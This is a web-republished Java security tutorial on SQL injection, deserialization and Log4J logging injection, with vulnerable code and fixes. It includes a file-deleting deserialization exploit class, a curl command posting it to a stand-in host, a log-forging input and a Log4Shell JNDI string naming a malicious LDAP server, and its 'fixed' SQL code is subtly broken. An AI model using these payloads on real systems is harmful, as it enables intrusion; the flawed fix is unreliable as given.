Home Java javaTutorial Top Security Flaws hiding in your code right now - and how to fix them

Top Security Flaws hiding in your code right now - and how to fix them

Aug 30, 2024 am 06:01 AM

In 2019, a famous breach in Fortnite, the famous game, reportedly put millions of players at risk of malware. The incident highlighted the importance of properly securing SQL databases.

But this is not an isolated issue.

Multiple attacks involving SQL injection have occurred, like the one Tesla experienced in 2018. In that case, another SQL injection attack affected Tesla’s Kubernetes console, causing financial losses due to unauthorized crypto mining activities.

But this is not only about SQL Injection.

There are other attack vectors that your code can suffer right now, as big companies have suffered in the past.

As the one in 2021 in the Log4J library called Log4Shell that involved a logging injection attack that impacted millions of servers worldwide up to today, or the one in 2022 in Atlassian Jira that involved a deserialization attack impacting multiple versions of Jira conceding full control to the attacker.

It could happen to anyone, even to you.

In this article, I’ll discuss the 3 most common attacks in code: SQL injection, Deserialization Injection, and Logging Injection, and how to solve them.

SQL Injection

Applications that store information in databases often use user-generated values to check for permissions, store information, or simply retrieve data stored in tables, documents, points, nodes, etc.

At that moment, when our application is using those values, improper use could allow attackers to introduce extra queries sent to the database to retrieve unallowable values or even modify those tables to gain access.

The following code retrieves a user from the database considering the username provided in the login page. Everything seems to be fine.

Top Security Flaws hiding in your code right now - and how to fix them

public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users " +
                   "WHERE username='" + user + "' AND password='" + pass + "'";
       Statement statement = connection.createStatement();
       ResultSet resultSet = statement.executeQuery(query);
       List users = new ArrayList();
       while (resultSet.next()) {
           users.add(resultSet.getString(0));
       }
       return users;
   }
Copy after login

However, when the attacker uses injection techniques, this code, using string interpolation, will result in unexpected results, allowing the attacker to log into the application.

Top Security Flaws hiding in your code right now - and how to fix them

To fix this problem we would change this approach from using string concatenation to parameter injection. In fact, String concatenation is generally a bad idea, in terms of performance and security.

String query = "SELECT userid FROM users " +
               "WHERE username='" + user + "' AND password='" + pass + "'";
Copy after login

Changing the inclusion of the parameter values directly in the SQL String, to parameters that we can reference later will solve the problem of hacked queries.

 String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
Copy after login

Our fixed code will look like this, with the prepareStatement and the value setting for each parameter.

    public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
       try (PreparedStatement statement = connection.prepareStatement(query)) {
           statement.setString(1, user);
           statement.setString(2, pass);
           ResultSet resultSet = statement.executeQuery(query);
           List users = new ArrayList();
           while (resultSet.next()) {
               users.add(resultSet.getString(0));
           }
           return users;
       }
    }
Copy after login

The SonarQube and SonarCloud rules that help detect the SQL injection vulnerability can be found here

Deserialization injection

Deserialization is the process of converting data from a serialized format (like a byte stream, string, or file) back into an object or data structure that a program can work with.

Common usages of deserialization include data sent between APIs and Web services in the form of JSON structures, or in modern applications using RPC (Remote Procedure Calls) in the form of protobuf messages.

Converting the message payload into an Object can involve serious vulnerabilities if no sanitizing or checking steps are implemented.

   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
       ServletInputStream servletIS = request.getInputStream();
       ObjectInputStream  objectIS  = new ObjectInputStream(servletIS);
       User user                 = (User) objectIS.readObject();
     }
   class User implements Serializable {
       private static final long serialVersionUID = 1L;
       private String name;

       public User(String name) {
           this.name = name;
       }

       public String getName() {
           return name;
       }
   }
Copy after login

We can see here that we are using objectIS, a direct value coming from the user in the request input stream, and converting it to a new object.
We expect that the value will always be one of the classes that our application uses. Sure, our client would never send anything else, right? Would they?

But what if a malicious client is sending another class in the request?

   public class Exploit implements Serializable {
       private static final long serialVersionUID = 1L;

       public Exploit() {
           // Malicious action: Delete a file
           try {
               Runtime.getRuntime().exec("rm -rf /tmp/vulnerable.txt");
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }
Copy after login

In this case, we have a class that deletes a file during the default constructor, which will happen on the previous readObject call.

The attacker only needs to serialize this class and send it to the API :

   Exploit exploit = new Exploit();
   FileOutputStream fileOut = new FileOutputStream("exploit.ser");
   ObjectOutputStream out = new ObjectOutputStream(fileOut);
   out.writeObject(exploit);
...
$ curl -X POST --data-binary @exploit.ser http://vulnerable-api.com/user
Copy after login

Fortunately, there’s an easy way to fix this. We need to check if the class to be deserialized is from one of the allowed types before creating the object.

In the code above, we have created a new ObjectInputStream with the “resolveClass” method overridden containing a check on the class name. We use this new class, SecureObjectInputStream, to get the object stream. But we include an allowed list check before reading the stream into an object (User).

 public class SecureObjectInputStream extends ObjectInputStream {
   private static final Set ALLOWED_CLASSES = Set.of(User.class.getName());
   @Override
   protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
     if (!ALLOWED_CLASSES.contains(osc.getName())) {
       throw new InvalidClassException("Unauthorized deserialization", osc.getName());
     }
     return super.resolveClass(osc);
   }
 }
...
 public class RequestProcessor {
   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
     ServletInputStream servletIS = request.getInputStream();
     ObjectInputStream  objectIS  = new SecureObjectInputStream(servletIS);
     User input                 = (User) objectIS.readObject();
   }
 }
Copy after login

The SonarCloud/SonarQube and SonarLint rules that help detect the deserialization injection vulnerability can be found here

Logging injection

A logging system is a software component or service designed to record events, messages, and other data generated by applications, systems, or devices. Logs are essential for monitoring, troubleshooting, auditing, and analyzing software and system behavior and performance.

Usually, these applications record failures, attempts to log in, and even successes that can help in debugging when an eventual issue occurs.

But, they can also become an attack vector.

Log injection is a type of security vulnerability where an attacker can manipulate log files by injecting malicious input into them. If logs are not properly sanitized, this can lead to several security issues.

We can find issues like log forging and pollution when the attacker modifies the log content to corrupt them or to add false information to make them difficult to analyze or to break log parsers, and also log management systems exploits, where the attacker will inject logs to exploit vulnerabilities in log management systems, leading to further attacks such as remote code execution.

Let’s consider the following code, where we take a value from the user and log it.

   public void doGet(HttpServletRequest request, HttpServletResponse response) {
       String user = request.getParameter("user");
       if (user != null){
         logger.log(Level.INFO, "User: {0} login in", user);
       }
   }
Copy after login

It looks harmless, right?

But what if the attacker tries to log in with this user?

 john login in\n2024-08-19 12:34:56 INFO User 'admin' login in
Copy after login

Top Security Flaws hiding in your code right now - and how to fix them

It’s clearly a wrong user name and it will fail. But, it will be logged and the person checking the log will get very confused

   2024-08-19 12:34:56 INFO User 'john' login in 
   2024-08-19 12:34:56 ERROR User 'admin' login in 
Copy after login

Or even worse !! If the attacker knows the system is using a non-patched Log4J version, they can send the below value as the user and the system will suffer from remote execution. The LDAP server controlled by the attacker responds with a reference to a malicious Java class hosted on a remote server. The vulnerable application downloads and executes this class, giving the attacker control over the server.

    $ { jndi:ldap://malicious-server.com/a}
Copy after login

But we can prevent these issues easily.

Sanitizing the values to be logged is important to avoid the log forging vulnerability, as it can lead to confusing outputs forged by the user.

     // Log the sanitised username
     String user = sanitiseInput(request.getParameter("user"));
   }

  private String sanitiseInput(String input) {
     // Replace newline and carriage return characters with a safe placeholder
     if (input != null) {
       input = input.replaceAll("[\\n\\r]", "_");
     }
     return input;
   }
Copy after login

The result we’ll see in the logs is the following, making it now easier to see that all the logs belong to the same call to the log system.

   2024-08-19 12:34:56 INFO User 'john' login in_2024-08-19 12:34:56 ERROR User 'admin' login in 
Copy after login

In order to prevent the exploit to the logging system, it’s important to keep our libraries updated to the latest stable versions as much as possible. For log4j, that remediation would disable the functionality. We can also manually disable JNDI.

     -Dlog4j2.formatMsgNoLookups=true
Copy after login

If you still need to use JNDI, then a common sanitizing process could avoid malicious attacks by just checking the destination against an allowed destinations list.

public class AllowedlistJndiContextFactory implements InitialContextFactory {
   // Define your list of allowed JNDI URLs
   private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList(
       "ldap://trusted-server.com",
       "ldaps://secure-server.com"
   );

   @Override
   public Context getInitialContext(Hashtable environment) throws NamingException {
       String providerUrl = (String) environment.get(Context.PROVIDER_URL);

       if (isAllowed(providerUrl)) {
           return new InitialContext(environment); 
       } else {
           throw new NamingException("JNDI lookup " + providerUrl + " not allowed");
       }
   }

   private boolean isAllowed(String url) {
       if (url == null) {
           return false;
       }
       for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) {
           if (url.startsWith(allowedPrefix)) {
               return true;
           }
       }
       return false;
   }
}
Copy after login

And configure our system to use the filtering context factory.

-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory
Copy after login

The SonarCloud/SonarQube and SonarLint rules that help detect the logging injection vulnerability can be found here

Conclusion

Security vulnerabilities are not just theoretical concerns but real threats that have already impacted major companies, resulting in substantial financial and reputational damage.

From SQL injections to Deserialization and Logging injections, these attack vectors are prevalent and can easily exploit insecure code if not properly addressed.

By understanding the nature of these vulnerabilities and implementing the recommended fixes, such as using parameterized queries, avoiding unsafe deserialization practices, and properly securing logging frameworks, developers can significantly reduce the risk of these attacks.

Proactive security measures are essential to protect your applications from becoming the next victim of these widespread and damaging exploits.

Sonar provides free and opensource tools like SonarLint, SonarQube, and SonarCloud that can detect, warn about, and suggest fixes for all these vulnerabilities.

The above is the detailed content of Top Security Flaws hiding in your code right now - and how to fix them. For more information, please follow other related articles on the PHP Chinese website!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Roblox: Bubble Gum Simulator Infinity - How To Get And Use Royal Keys
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Nordhold: Fusion System, Explained
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Mandragora: Whispers Of The Witch Tree - How To Unlock The Grappling Hook
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Hot Topics

Java Tutorial
1673
14
PHP Tutorial
1278
29
C# Tutorial
1257
24
Is the company's security software causing the application to fail to run? How to troubleshoot and solve it? Is the company's security software causing the application to fail to run? How to troubleshoot and solve it? Apr 19, 2025 pm 04:51 PM

Troubleshooting and solutions to the company's security software that causes some applications to not function properly. Many companies will deploy security software in order to ensure internal network security. ...

How do I convert names to numbers to implement sorting and maintain consistency in groups? How do I convert names to numbers to implement sorting and maintain consistency in groups? Apr 19, 2025 pm 11:30 PM

Solutions to convert names to numbers to implement sorting In many application scenarios, users may need to sort in groups, especially in one...

How to simplify field mapping issues in system docking using MapStruct? How to simplify field mapping issues in system docking using MapStruct? Apr 19, 2025 pm 06:21 PM

Field mapping processing in system docking often encounters a difficult problem when performing system docking: how to effectively map the interface fields of system A...

How does IntelliJ IDEA identify the port number of a Spring Boot project without outputting a log? How does IntelliJ IDEA identify the port number of a Spring Boot project without outputting a log? Apr 19, 2025 pm 11:45 PM

Start Spring using IntelliJIDEAUltimate version...

How to elegantly obtain entity class variable names to build database query conditions? How to elegantly obtain entity class variable names to build database query conditions? Apr 19, 2025 pm 11:42 PM

When using MyBatis-Plus or other ORM frameworks for database operations, it is often necessary to construct query conditions based on the attribute name of the entity class. If you manually every time...

How to safely convert Java objects to arrays? How to safely convert Java objects to arrays? Apr 19, 2025 pm 11:33 PM

Conversion of Java Objects and Arrays: In-depth discussion of the risks and correct methods of cast type conversion Many Java beginners will encounter the conversion of an object into an array...

E-commerce platform SKU and SPU database design: How to take into account both user-defined attributes and attributeless products? E-commerce platform SKU and SPU database design: How to take into account both user-defined attributes and attributeless products? Apr 19, 2025 pm 11:27 PM

Detailed explanation of the design of SKU and SPU tables on e-commerce platforms This article will discuss the database design issues of SKU and SPU in e-commerce platforms, especially how to deal with user-defined sales...

How to use the Redis cache solution to efficiently realize the requirements of product ranking list? How to use the Redis cache solution to efficiently realize the requirements of product ranking list? Apr 19, 2025 pm 11:36 PM

How does the Redis caching solution realize the requirements of product ranking list? During the development process, we often need to deal with the requirements of rankings, such as displaying a...

See all articles